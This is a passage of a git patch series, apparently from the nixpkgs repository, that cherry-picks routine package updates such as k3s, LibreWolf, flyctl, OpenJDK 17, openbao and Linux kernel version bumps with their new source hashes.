+  k3sRepoSha256 = "02qsw00f0k0kv93xws96np3fj3rdynnhjhk41a58kic1mnbgm8ss";
+  k3sVendorHash = "sha256-BZs3tgUtcLw1mqaAyOCwg6bhmeQbUGCE9wsbPSG61t4=";
   chartVersions = import ./chart-versions.nix;
   imagesVersions = builtins.fromJSON (builtins.readFile ./images-versions.json);
   k3sRootVersion = "0.14.1";
   k3sRootSha256 = "0svbi42agqxqh5q2ri7xmaw2a2c70s7q5y587ls0qkflw5vx4sl7";
   k3sCNIVersion = "1.6.0-k3s1";
   k3sCNISha256 = "0g7zczvwba5xqawk37b0v96xysdwanyf1grxn3l3lhxsgjjsmkd7";
-  containerdVersion = "2.0.4-k3s2";
-  containerdSha256 = "0v34nh6q0plb50s95gzdkrdfbbch7dps15fmddh5h241yfms8sq6";
+  containerdVersion = "2.0.5-k3s1.32";
+  containerdSha256 = "1la7ygx5caqfqk025wyrxmhjb0xbpkzwnxv52338p33g68sb3yb0";
   criCtlVersion = "1.31.0-k3s2";
 }

From 2f4ad429c46f1e6d79fbe292915191d339041624 Mon Sep 17 00:00:00 2001
From: Robert Rose <robert.rose@mailbox.org>
Date: Tue, 27 May 2025 21:14:34 +0200
Subject: [PATCH 0304/4511] k3s_1_30: 1.30.12 -> 1.30.13

https://github.com/k3s-io/k3s/releases/tag/v1.30.13%2Bk3s1
(cherry picked from commit 15903b155b4ba19cf47ad4545106a39cce5b274b)
---
 .../cluster/k3s/1_30/images-versions.json          | 14 +++++++-------
 .../networking/cluster/k3s/1_30/versions.nix       | 12 ++++++------
 2 files changed, 13 insertions(+), 13 deletions(-)

diff --git a/pkgs/applications/networking/cluster/k3s/1_30/images-versions.json b/pkgs/applications/networking/cluster/k3s/1_30/images-versions.json
index 1f7ace104885..e743117c1058 100644
--- a/pkgs/applications/networking/cluster/k3s/1_30/images-versions.json
+++ b/pkgs/applications/networking/cluster/k3s/1_30/images-versions.json
@@ -1,18 +1,18 @@
 {
   "airgap-images-amd64": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.30.12%2Bk3s1/k3s-airgap-images-amd64.tar.zst",
-    "sha256": "1c5efab645244d13cda7111a456aff796dfb4645c845df82266c4da56d3db2a7"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.30.13%2Bk3s1/k3s-airgap-images-amd64.tar.zst",
+    "sha256": "35c11584d2fdc528a02c8ac9de083e94b7f8992002a8d6142d4725a533049ea1"
   },
   "airgap-images-arm": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.30.12%2Bk3s1/k3s-airgap-images-arm.tar.zst",
-    "sha256": "df41354c497c8c2514b247c237415d721fb1381bb821c00af59526ba2ef1e8e8"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.30.13%2Bk3s1/k3s-airgap-images-arm.tar.zst",
+    "sha256": "a9ca95599c2c8240e0fffdcab81178912ffa02924ed3d42997604186fbf2f9ff"
   },
   "airgap-images-arm64": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.30.12%2Bk3s1/k3s-airgap-images-arm64.tar.zst",
-    "sha256": "041a626ab65e9f61bdc67e664649bc8dc434cc9f89da15611660967a1d156fa3"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.30.13%2Bk3s1/k3s-airgap-images-arm64.tar.zst",
+    "sha256": "09ca4a9a1c1da1923538d7a2659b1166e2257d33a1478939ca28f6a08a048cf1"
   },
   "images-list": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.30.12%2Bk3s1/k3s-images.txt",
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.30.13%2Bk3s1/k3s-images.txt",
     "sha256": "7a53b3def0199b17de6ec690d13ae2001fb83809258d28d985eafa69869c3aa9"
   }
 }
diff --git a/pkgs/applications/networking/cluster/k3s/1_30/versions.nix b/pkgs/applications/networking/cluster/k3s/1_30/versions.nix
index 0b1653cd6653..503c663cbf8c 100644
--- a/pkgs/applications/networking/cluster/k3s/1_30/versions.nix
+++ b/pkgs/applications/networking/cluster/k3s/1_30/versions.nix
@@ -1,15 +1,15 @@
 {
-  k3sVersion = "1.30.12+k3s1";
-  k3sCommit = "f9dbf16e17a6db90b64583316d9c321180e9c062";
-  k3sRepoSha256 = "0d0kbbf6c6gv2s0w8m7br6vxcid48g8hirmszksd3g4brix3yxz2";
-  k3sVendorHash = "sha256-FQu2Chk463c+/VYcOhfU8xIxm/ZNe1GumkEH/u2DIt0=";
+  k3sVersion = "1.30.13+k3s1";
+  k3sCommit = "e77f78ee94664d4d5ac34e2c4b8d438dac52c088";
+  k3sRepoSha256 = "0hy9pn9cdxixllj8zm4jq65jlrvihiysvhdmkxjgn82n3snhwrgq";
+  k3sVendorHash = "sha256-2q9gWVCe3GhAF9YDMX4B9djz5/DliRHingJbXmTwmGE=";
   chartVersions = import ./chart-versions.nix;
   imagesVersions = builtins.fromJSON (builtins.readFile ./images-versions.json);
   k3sRootVersion = "0.14.1";
   k3sRootSha256 = "0svbi42agqxqh5q2ri7xmaw2a2c70s7q5y587ls0qkflw5vx4sl7";
   k3sCNIVersion = "1.6.0-k3s1";
   k3sCNISha256 = "0g7zczvwba5xqawk37b0v96xysdwanyf1grxn3l3lhxsgjjsmkd7";
-  containerdVersion = "1.7.26-k3s1";
-  containerdSha256 = "0snz0i7xmnvs8bj7140q0lsxqdv835hksvk36baw71w5mbm1w1xz";
+  containerdVersion = "1.7.27-k3s1";
+  containerdSha256 = "1w6ia9a7qs06l9wh44fpf1v2ckf2lfp9sjzk0bg4fjw5ds9sxws0";
   criCtlVersion = "1.29.0-k3s1";
 }

From 861e0e8697bc74764cbf54ee97667e45c3625e48 Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Fri, 30 May 2025 18:44:11 +0200
Subject: [PATCH 0305/4511] librewolf-unwrapped: 139.0-1 -> 139.0.1-1

Upstream release: https://codeberg.org/librewolf/source/releases/tag/139.0.1-1
FF release notes: https://www.mozilla.org/en-US/firefox/139.0.1/releasenotes/

Fixes some obscure nvidia bug. Might not be security relevant this time, but still good to update.

(cherry picked from commit 694a18cbf92688ce46d67027c91c3bb0aa757574)
---
 .../networking/browsers/librewolf/src.json             | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/applications/networking/browsers/librewolf/src.json b/pkgs/applications/networking/browsers/librewolf/src.json
index 91f4e6e1e690..7c53666455cd 100644
--- a/pkgs/applications/networking/browsers/librewolf/src.json
+++ b/pkgs/applications/networking/browsers/librewolf/src.json
@@ -1,11 +1,11 @@
 {
-  "packageVersion": "139.0-1",
+  "packageVersion": "139.0.1-1",
   "source": {
-    "rev": "139.0-1",
-    "hash": "sha256-dhi9hUgEoOFQj7IixFKz1J81zo43h4MkAMpr2OIgass="
+    "rev": "139.0.1-1",
+    "hash": "sha256-3qMMu33y4MCPSUsFCMNd7CDEJjZJsfLdjPSFRC/obQg="
   },
   "firefox": {
-    "version": "139.0",
-    "hash": "sha512-hKK0fy/3GqwiandKsKyauNmhb1YgoG96u2ZIcyIJ0CKu81qdSHPpHr1npPxJT8I4Uk4lw4+tgEbbJq/aBub5cA=="
+    "version": "139.0.1",
+    "hash": "sha512-eK4Q/BSQDrEnO3/3mKFZUE9oFmw5sfEu+eoEJD3rx4RywkSZ2gFkFZD+tdKyhHUTHS7JTW8o/U8vZEpyH39Aug=="
   }
 }

From b354e1cd33538260a0be64093599fcc26fc7670c Mon Sep 17 00:00:00 2001
From: Kirill Radzikhovskyy <kirillrdy@gmail.com>
Date: Fri, 30 May 2025 10:23:33 +1000
Subject: [PATCH 0306/4511] awsebcli: 3.23.3 -> 3.24.1

diff: https://github.com/aws/aws-elastic-beanstalk-cli/compare/3.23.3...3.24.1
(cherry picked from commit 9c0e393b2671598b09adea325ba828b3592146b7)
---
 pkgs/by-name/aw/awsebcli/package.nix | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/aw/awsebcli/package.nix b/pkgs/by-name/aw/awsebcli/package.nix
index efdbfd342a7d..0a3ae66ed8d5 100644
--- a/pkgs/by-name/aw/awsebcli/package.nix
+++ b/pkgs/by-name/aw/awsebcli/package.nix
@@ -25,14 +25,14 @@ in
 
 python.pkgs.buildPythonApplication rec {
   pname = "awsebcli";
-  version = "3.23.3";
+  version = "3.24.1";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "aws";
     repo = "aws-elastic-beanstalk-cli";
     tag = version;
-    hash = "sha256-Jaj90NRCwaxRQQlB4s4Us+liYiNohpwRsHuvKM5WmbU=";
+    hash = "sha256-t6dqiC9zY3Apcc4F/x5c/QhsNKGBZxIY20a50wCEER8=";
   };
 
   pythonRelaxDeps = [
@@ -46,6 +46,7 @@ python.pkgs.buildPythonApplication rec {
   ];
 
   dependencies = with python.pkgs; [
+    packaging
     blessed
     botocore
     cement
@@ -53,6 +54,7 @@ python.pkgs.buildPythonApplication rec {
     pathspec
     pyyaml
     future
+    fabric
     requests
     semantic-version
     setuptools

From 0816d40cd1c44b3ba8885b1d3a84f4867a956162 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 29 May 2025 02:06:01 +0000
Subject: [PATCH 0307/4511] flyctl: 0.3.125 -> 0.3.132

(cherry picked from commit 99c5b350d79abeb825cb24531b8c567f2b64fd9e)
---
 pkgs/by-name/fl/flyctl/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/fl/flyctl/package.nix b/pkgs/by-name/fl/flyctl/package.nix
index 8521ae7c0d62..3315d731f91a 100644
--- a/pkgs/by-name/fl/flyctl/package.nix
+++ b/pkgs/by-name/fl/flyctl/package.nix
@@ -9,13 +9,13 @@
 
 buildGoModule rec {
   pname = "flyctl";
-  version = "0.3.125";
+  version = "0.3.132";
 
   src = fetchFromGitHub {
     owner = "superfly";
     repo = "flyctl";
     rev = "v${version}";
-    hash = "sha256-hBGVFXj3meMjB26qSNOp1QoJWQCkv95akdOD8byHTsk=";
+    hash = "sha256-xuPcJchATGlGZR4dwWKp5GXlo7O1Xv2u+gDzgn1668I=";
   };
 
   vendorHash = "sha256-9E6Kd9TV8TplL4KU47hhOIPuO/hm0T3aaMK/rEMBUU4=";

From f23f71f86258487c977c07094e50483c32069dfa Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 14 May 2025 08:46:53 +0000
Subject: [PATCH 0308/4511] jdk17: 17.0.14+7 -> 17.0.15+6

(cherry picked from commit 92cd263515782c76765c8dcd28eeda46fc9586b5)
---
 pkgs/development/compilers/openjdk/17/source.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/compilers/openjdk/17/source.json b/pkgs/development/compilers/openjdk/17/source.json
index f119e2fbc8a1..0b1c639927ac 100644
--- a/pkgs/development/compilers/openjdk/17/source.json
+++ b/pkgs/development/compilers/openjdk/17/source.json
@@ -1,6 +1,6 @@
 {
-  "hash": "sha256-Vc1+8xnKmNQkCzeHoW8Y2WuxU7G5IAfRYXMp8JrjFuQ=",
+  "hash": "sha256-4fpph2tOLh3Ml8pm2a1ZqLS7R84hQnKCLM4tdg628SI=",
   "owner": "openjdk",
   "repo": "jdk17u",
-  "rev": "refs/tags/jdk-17.0.14+7"
+  "rev": "refs/tags/jdk-17.0.15+6"
 }

From 9b0a65b5621c84b82d6e4a506aa6dfdf6179a60c Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Sat, 24 May 2025 17:04:09 +0200
Subject: [PATCH 0309/4511] snipe-it: 8.1.3 -> 8.1.4

Release notes: https://github.com/grokability/snipe-it/releases/tag/v8.1.4
Changelog: https://github.com/grokability/snipe-it/compare/v8.1.3...v8.1.4

(cherry picked from commit 82f78582cda724132a9090271c303983c1e54aaa)
---
 pkgs/by-name/sn/snipe-it/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sn/snipe-it/package.nix b/pkgs/by-name/sn/snipe-it/package.nix
index a9ce41fbf4d9..1b8356d9e89d 100644
--- a/pkgs/by-name/sn/snipe-it/package.nix
+++ b/pkgs/by-name/sn/snipe-it/package.nix
@@ -9,16 +9,16 @@
 
 php84.buildComposerProject2 (finalAttrs: {
   pname = "snipe-it";
-  version = "8.1.3";
+  version = "8.1.4";
 
   src = fetchFromGitHub {
     owner = "grokability";
     repo = "snipe-it";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-SzL1api9hObdvhKRtBrzgvZNuJHAoeB2GCt2etCZ6Kw=";
+    hash = "sha256-Mz+8f8VRwBf80tfrtecKnkFDIP7lsjJVPezyZI2uFbg=";
   };
 
-  vendorHash = "sha256-KOzPzKN1HXFidjXWe8tNPwFJ8DmdrkCDKeChNhGcTDo=";
+  vendorHash = "sha256-w+wdGGCACzpJMFuKk48h71DVMfsGguxeJLTen1U8Pp8=";
 
   postInstall = ''
     snipe_it_out="$out/share/php/snipe-it"

From 4b11d5e352f70017a9afaf6369c66575540d9991 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 24 May 2025 16:04:31 +0000
Subject: [PATCH 0310/4511] pyradio: 0.9.3.11.11 -> 0.9.3.11.13

(cherry picked from commit 71a005771bb60cf8b3266f8f9dfa98e16c0d6150)
---
 pkgs/by-name/py/pyradio/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/py/pyradio/package.nix b/pkgs/by-name/py/pyradio/package.nix
index 715a16584f8e..000dc60fadcb 100644
--- a/pkgs/by-name/py/pyradio/package.nix
+++ b/pkgs/by-name/py/pyradio/package.nix
@@ -7,13 +7,13 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "pyradio";
-  version = "0.9.3.11.11";
+  version = "0.9.3.11.13";
 
   src = fetchFromGitHub {
     owner = "coderholic";
     repo = "pyradio";
     tag = version;
-    hash = "sha256-yVXq9wHuPO87SRxJdFtYeQWFzeX6IwhKdMchhuzo0ms=";
+    hash = "sha256-thHx1IJLYG83qxV6QSHRn7Jt1a1LUR47noDvAtcFZuE=";
   };
 
   nativeBuildInputs = [

From 52c06f900688424fb55a7025cab2e1c86fbcbcb2 Mon Sep 17 00:00:00 2001
From: rnhmjoj <rnhmjoj@inventati.org>
Date: Sat, 10 May 2025 09:51:14 +0200
Subject: [PATCH 0311/4511] haskellPackages.selda-sqlite: unbreak

(cherry picked from commit 802c06b865f1aa7a19d052deb61ea02c723adca6)
---
 .../haskell-modules/configuration-common.nix      | 15 ++++++++++++++-
 .../configuration-hackage2nix/broken.yaml         |  1 -
 2 files changed, 14 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/haskell-modules/configuration-common.nix b/pkgs/development/haskell-modules/configuration-common.nix
index 71d4d6db916e..3e26a0d579fa 100644
--- a/pkgs/development/haskell-modules/configuration-common.nix
+++ b/pkgs/development/haskell-modules/configuration-common.nix
@@ -1045,7 +1045,20 @@ self: super:
               }
               + "/${name}";
             # 2025-04-09: jailbreak to allow bytestring >= 0.12, text >= 2.1
-            jailbreak = true;
+            # Note: jailbreak ignores constraints under an if(flag)
+            postPatch = ''
+              check_sed() {
+                if ! test -s "$1"; then
+                  echo "sed: pattern '$2' doesn't match anything" >&2
+                  exit 1
+                fi
+              }
+              sed -i ${name}.cabal \
+                -e 's/\(bytestring\) .*/\1/w c1' \
+                -e 's/\(text\) .*/\1/w c2'
+              check_sed c1 'bytestring .*'
+              check_sed c2 'text .*'
+            '';
           }) super.${name};
       in
       lib.genAttrs [ "selda" "selda-sqlite" "selda-json" ] mkSeldaPackage
diff --git a/pkgs/development/haskell-modules/configuration-hackage2nix/broken.yaml b/pkgs/development/haskell-modules/configuration-hackage2nix/broken.yaml
index 25f1b95bc68a..6b2b7fea2724 100644
--- a/pkgs/development/haskell-modules/configuration-hackage2nix/broken.yaml
+++ b/pkgs/development/haskell-modules/configuration-hackage2nix/broken.yaml
@@ -5373,7 +5373,6 @@ broken-packages:
   - secureUDP # failure in job https://hydra.nixos.org/build/233215410 at 2023-09-02
   - SegmentTree # failure in job https://hydra.nixos.org/build/233216161 at 2023-09-02
   - selda-postgresql # failure in job https://hydra.nixos.org/build/245539286 at 2024-01-02
-  - selda-sqlite # failure in job https://hydra.nixos.org/build/295096791 at 2025-04-22
   - selectors # failure in job https://hydra.nixos.org/build/233227433 at 2023-09-02
   - selenium # failure in job https://hydra.nixos.org/build/233214276 at 2023-09-02
   - sel # failure in job https://hydra.nixos.org/build/255671988 at 2024-04-16

From f41aea9a26b428cdd399b26ffadea36d6b143ae6 Mon Sep 17 00:00:00 2001
From: sternenseemann <sternenseemann@systemli.org>
Date: Thu, 15 May 2025 12:22:51 +0200
Subject: [PATCH 0312/4511] haskellPackages.selda-sqlite: regenerate package
 expression

(cherry picked from commit f976f173f4a044237c6847bf4ced0f86fc991eaa)
---
 pkgs/development/haskell-modules/hackage-packages.nix | 2 --
 1 file changed, 2 deletions(-)

diff --git a/pkgs/development/haskell-modules/hackage-packages.nix b/pkgs/development/haskell-modules/hackage-packages.nix
index 32a135ebd8bf..9c812848605d 100644
--- a/pkgs/development/haskell-modules/hackage-packages.nix
+++ b/pkgs/development/haskell-modules/hackage-packages.nix
@@ -588336,8 +588336,6 @@ self: {
       ];
       description = "SQLite backend for the Selda database EDSL";
       license = lib.licenses.mit;
-      hydraPlatforms = lib.platforms.none;
-      broken = true;
     }
   ) { };
 

From 0244ce14415b14771f4d82db47c74fca0b027010 Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Fri, 30 May 2025 12:38:28 +0200
Subject: [PATCH 0313/4511] glpi-agent: add edid support

(cherry picked from commit 79e6274ca3a10858065f2fc65ad59ecf0def17a1)
---
 pkgs/by-name/gl/glpi-agent/package.nix | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/pkgs/by-name/gl/glpi-agent/package.nix b/pkgs/by-name/gl/glpi-agent/package.nix
index d886bfdf9c38..ea5bf2683188 100644
--- a/pkgs/by-name/gl/glpi-agent/package.nix
+++ b/pkgs/by-name/gl/glpi-agent/package.nix
@@ -38,38 +38,38 @@ perlPackages.buildPerlPackage rec {
     with perlPackages;
     [
       CGI
+      CpanelJSONXS
+      CryptDES
       DataStructureUtil
+      DataUUID
+      DateTime
+      DigestSHA1
       FileCopyRecursive
+      HTTPDaemon
       HTTPProxy
       HTTPServerSimple
       HTTPServerSimpleAuthen
       IOCapture
+      IOCompress
       IOSocketSSL
       IPCRun
       JSON
       LWPProtocolHttps
       ModuleInstall
+      NetPing
       NetSNMP
+      ParallelForkManager
+      ParseEDID
       TestCompile
       TestDeep
       TestException
       TestMockModule
       TestMockObject
       TestNoWarnings
-      CpanelJSONXS
-      XMLLibXML
-      NetPing
-      ParallelForkManager
-      DigestSHA1
-      CryptDES
-      FileCopyRecursive
-      URIEscapeXS
-      DateTime
-      DataUUID
       URI
-      HTTPDaemon
+      URIEscapeXS
+      XMLLibXML
       YAML
-      IOCompress
     ]
   );
 

From d0252862e7f65c531d32edf67f2c63c375537a36 Mon Sep 17 00:00:00 2001
From: Ilan Joselevich <personal@ilanjoselevich.com>
Date: Fri, 30 May 2025 16:05:36 +0000
Subject: [PATCH 0314/4511] openbao: 2.2.1 -> 2.2.2

(cherry picked from commit ebe0310901d8ceaf9ff9f5cd3fd6939c404e8bbc)
---
 pkgs/by-name/op/openbao/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/op/openbao/package.nix b/pkgs/by-name/op/openbao/package.nix
index 6d0f3262cf10..63a76c91cba1 100644
--- a/pkgs/by-name/op/openbao/package.nix
+++ b/pkgs/by-name/op/openbao/package.nix
@@ -14,16 +14,16 @@
 
 buildGoModule (finalAttrs: {
   pname = "openbao";
-  version = "2.2.1";
+  version = "2.2.2";
 
   src = fetchFromGitHub {
     owner = "openbao";
     repo = "openbao";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-qbLaa7EUQywPRTIgUclTomDDBxzdQnyVAqCGD+iOlpg=";
+    hash = "sha256-r/CPxrVPn0s0qWqdsymqZLSEY0JMilPiWfxmOUvYvnM=";
   };
 
-  vendorHash = "sha256-Upvv3dxS6HIFxR6T+2/dqnFsUtemjOGUaiICgPlepJ8=";
+  vendorHash = "sha256-zT/cLL34G93b62VTowwgs8ZZ41wmJ//lzooxVaN7p9Q=";
 
   proxyVendor = true;
 

From 36e51d32b0799b0b4405f19f472c9a83b6171615 Mon Sep 17 00:00:00 2001
From: Amadej Kastelic <amadejkastelic7@gmail.com>
Date: Wed, 28 May 2025 17:40:44 +0200
Subject: [PATCH 0315/4511] linuxKernel.packages.v4l2loopback: 0.13.2 -> 0.15.0

(cherry picked from commit ff9508371c3311b64e3774089214c72ff5a83f33)
---
 pkgs/os-specific/linux/v4l2loopback/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/v4l2loopback/default.nix b/pkgs/os-specific/linux/v4l2loopback/default.nix
index f119c5c1ad24..f1b0d4ba1a53 100644
--- a/pkgs/os-specific/linux/v4l2loopback/default.nix
+++ b/pkgs/os-specific/linux/v4l2loopback/default.nix
@@ -8,7 +8,7 @@
 }:
 
 let
-  version = "0.13.2";
+  version = "0.15.0";
 
 in
 stdenv.mkDerivation {
@@ -19,7 +19,7 @@ stdenv.mkDerivation {
     owner = "umlaeute";
     repo = "v4l2loopback";
     rev = "v${version}";
-    hash = "sha256-rcwgOXnhRPTmNKUppupfe/2qNUBDUqVb3TeDbrP5pnU=";
+    hash = "sha256-fa3f8GDoQTkPppAysrkA7kHuU5z2P2pqI8dKhuKYh04=";
   };
 
   hardeningDisable = [

From 7a696170739f25b97062088aaaec0a26f995e16e Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Fri, 16 May 2025 15:42:43 +0200
Subject: [PATCH 0316/4511] lomiri.mediascanner2: 0.117 -> 0.118

(cherry picked from commit 0359b985751997c0c4caeb51fa6b5ea5cfc5c2ef)
---
 .../lomiri/services/mediascanner2/default.nix | 26 +++++--------------
 1 file changed, 6 insertions(+), 20 deletions(-)

diff --git a/pkgs/desktops/lomiri/services/mediascanner2/default.nix b/pkgs/desktops/lomiri/services/mediascanner2/default.nix
index 001824c7b36e..511cf9b42094 100644
--- a/pkgs/desktops/lomiri/services/mediascanner2/default.nix
+++ b/pkgs/desktops/lomiri/services/mediascanner2/default.nix
@@ -2,7 +2,6 @@
   stdenv,
   lib,
   fetchFromGitLab,
-  fetchpatch,
   gitUpdater,
   nixosTests,
   testers,
@@ -32,13 +31,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "mediascanner2";
-  version = "0.117";
+  version = "0.118";
 
   src = fetchFromGitLab {
     owner = "ubports";
     repo = "development/core/mediascanner2";
-    rev = finalAttrs.version;
-    hash = "sha256-e1vDPnIIfevXj9ODEEKJ2y4TiU0H+08aTf2vU+emdQk=";
+    tag = finalAttrs.version;
+    hash = "sha256-ZJXJNDZUDor5EJ+rn7pQt7lLzoszZUQM3B+u1gBSMs8=";
   };
 
   outputs = [
@@ -46,22 +45,6 @@ stdenv.mkDerivation (finalAttrs: {
     "dev"
   ];
 
-  patches = [
-    (fetchpatch {
-      name = "0001-mediascanner2-scannerdaemon-Drop-desktop-and-MEDIASCANNER_RUN-check.patch";
-      url = "https://gitlab.com/ubports/development/core/mediascanner2/-/commit/1e65b32e32a0536b9e2f283ba563fa78b6ef6d61.patch";
-      hash = "sha256-Xhm5+/E/pP+mn+4enqdsor1oRqfYTzabg1ODVfIhra4=";
-    })
-
-    # Fix taglib 2.x compat
-    # Remove when version > 0.117
-    (fetchpatch {
-      name = "0002-mediascanner2-Fix-taglib-2.x-compat.patch";
-      url = "https://gitlab.com/ubports/development/core/mediascanner2/-/commit/0ce744ecb32abb39516d1b9f98d47c3e86690158.patch";
-      hash = "sha256-hz/EB83yNoxhxkEcg7ZMezknpKajhH1BNkYD3wrf/eY=";
-    })
-  ];
-
   postPatch = ''
     substituteInPlace src/qml/MediaScanner.*/CMakeLists.txt \
       --replace-fail "\''${CMAKE_INSTALL_LIBDIR}/qt5/qml" "\''${CMAKE_INSTALL_PREFIX}/${qtbase.qtQmlPrefix}"
@@ -131,6 +114,9 @@ stdenv.mkDerivation (finalAttrs: {
   meta = {
     description = "Media scanner service & access library";
     homepage = "https://gitlab.com/ubports/development/core/mediascanner2";
+    changelog = "https://gitlab.com/ubports/development/core/mediascanner2/-/blob/${
+      if (!builtins.isNull finalAttrs.src.tag) then finalAttrs.src.tag else finalAttrs.src.rev
+    }/ChangeLog";
     license = lib.licenses.gpl3Only;
     teams = [ lib.teams.lomiri ];
     mainProgram = "mediascanner-service-2.0";

From e602fa0fd9c0736c4cea6b5ff54d3dcc3ccefa92 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Fri, 30 May 2025 22:42:52 +0000
Subject: [PATCH 0317/4511] linux_6_14: 6.14.8 -> 6.14.9

(cherry picked from commit c40e658fdd821b0d985d469a665e26a67d256c1d)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index d6253cf4726b..50dacbdc3480 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -32,8 +32,8 @@
         "hash": "sha256:0hhj49k3ksjcp0dg5yiahqzryjfdpr9c1a9ph6j9slzmkikbn7v1"
     },
     "6.14": {
-        "version": "6.14.8",
-        "hash": "sha256:0199maj3mk577wwaszbi0cl5a0afx1ynad896bmmg8vm636jxcb2"
+        "version": "6.14.9",
+        "hash": "sha256:0qgkr69745al6nf4wicxq284xnsmxybh29r7hjh2b6bi6bhds31r"
     },
     "6.15": {
         "version": "6.15",

From 73be48cf58b8c1c83985ca17ce18ea53d956f9a0 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Fri, 30 May 2025 22:42:54 +0000
Subject: [PATCH 0318/4511] linux_6_12: 6.12.30 -> 6.12.31

(cherry picked from commit b019dcab339cf0031956006208edd1757801e09f)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 50dacbdc3480..e15de15e0df9 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -24,8 +24,8 @@
         "hash": "sha256:1v1pq9yzxrlaxx4y4cj5q3wska0jbv2inc7phqfw70fj88kai0hx"
     },
     "6.12": {
-        "version": "6.12.30",
-        "hash": "sha256:0bpqkh64bj6nslbb43hj28lxmrxinrapwgh05q5wwh0yjx46l16z"
+        "version": "6.12.31",
+        "hash": "sha256:19sba8zak31gn89pzfa3kb9rv7y9z8kybvyikigamq7nblz5nk5h"
     },
     "6.13": {
         "version": "6.13.12",

From 51be9133dff4546d6bf7d0493595cb11aa430834 Mon Sep 17 00:00:00 2001
From: Seth Flynn <getchoo@tuta.io>
Date: Wed, 28 May 2025 20:30:04 +0000
Subject: [PATCH 0319/4511] biblioteca: 1.5 -> 1.6

Diff: https://github.com/workbenchdev/Biblioteca/compare/v1.5...v1.6
(cherry picked from commit 623607b5aa05e6362b76dee20d308d290ab32f1a)
---
 pkgs/by-name/bi/biblioteca/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/bi/biblioteca/package.nix b/pkgs/by-name/bi/biblioteca/package.nix
index 7f6d8fa5359d..da7aaefd56ad 100644
--- a/pkgs/by-name/bi/biblioteca/package.nix
+++ b/pkgs/by-name/bi/biblioteca/package.nix
@@ -24,14 +24,14 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "biblioteca";
-  version = "1.5";
+  version = "1.6";
 
   src = fetchFromGitHub {
     owner = "workbenchdev";
     repo = "Biblioteca";
     tag = "v${finalAttrs.version}";
     fetchSubmodules = true;
-    hash = "sha256-zrrI3u4ukGN6eb/eK/aZG4gi/xtXciyRS+JX9Js9KEw=";
+    hash = "sha256-9AL8obvXB/bgqhTw8VE30OytNFQmxvJ6TYGN8ir+NfI=";
   };
 
   patches = [

From 7d173a552f635ff0341af75aefc9e6ca805fdb6b Mon Sep 17 00:00:00 2001
From: Kamil Monicz <kamil@monicz.dev>
Date: Sat, 31 May 2025 09:18:46 +0200
Subject: [PATCH 0320/4511] python314: add zstd dependency (#409307)

(cherry picked from commit 554c97036d282e37138dc0bc42b8636fe843e5dc)
---
 pkgs/development/interpreters/python/cpython/default.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/pkgs/development/interpreters/python/cpython/default.nix b/pkgs/development/interpreters/python/cpython/default.nix
index ba93166c2b66..52b0a3ea4eb4 100644
--- a/pkgs/development/interpreters/python/cpython/default.nix
+++ b/pkgs/development/interpreters/python/cpython/default.nix
@@ -24,6 +24,7 @@
   sqlite,
   xz,
   zlib,
+  zstd,
 
   # platform-specific dependencies
   bashNonInteractive,
@@ -196,6 +197,8 @@ let
     ++ optionals (!stdenv.hostPlatform.isDarwin) [
       autoconf-archive # needed for AX_CHECK_COMPILE_FLAG
       autoreconfHook
+    ]
